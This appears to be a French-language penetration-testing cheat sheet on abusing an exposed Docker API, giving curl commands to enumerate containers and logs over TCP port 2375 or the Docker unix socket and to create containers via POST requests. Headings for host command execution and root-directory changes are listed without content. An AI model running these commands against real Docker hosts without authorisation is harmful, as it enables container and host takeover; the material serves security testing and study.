Docker API
Ressources
Enumeration
# Via TCP
curl <ip>:2375/containers/json //Lister les conteneurs
curl <ip>:2375/containers/<id or name>/json //Pour un conteneur spécifique
curl <ip>:2375/containers/<id or name>/logs?stderr=1&stdout=1 // Afficher les logs
curl <ip>:2375/containers/<id or name>/changes //Voir les changements
# Via unix
curl -s --unix-socket /var/run/docker.sock http:/containers/...Exploitation
Création de conteneur
# Via unix
$ curl \
-s \
--unix-socket /var/run/docker.sock \
"http:/containers/create?name=mycontainer" \
-X POST \
-H "Content-Type: application/json" \
-d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
# Via TCP
$ curl \
-s \
"http://<host>:<port>/containers/create?name=mycontainer" \
-X POST \
-H "Content-Type: application/json" \
-d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'Démarrer un conteneur
Exécution de commande dans un conteneur
Création
Exécution
Exécution de commande sur l'hôte
Créer une image
Créer un conteneur
Lancer le conteneur
Changer le repertoire racine
Outils
Docker Knocker
Mis à jour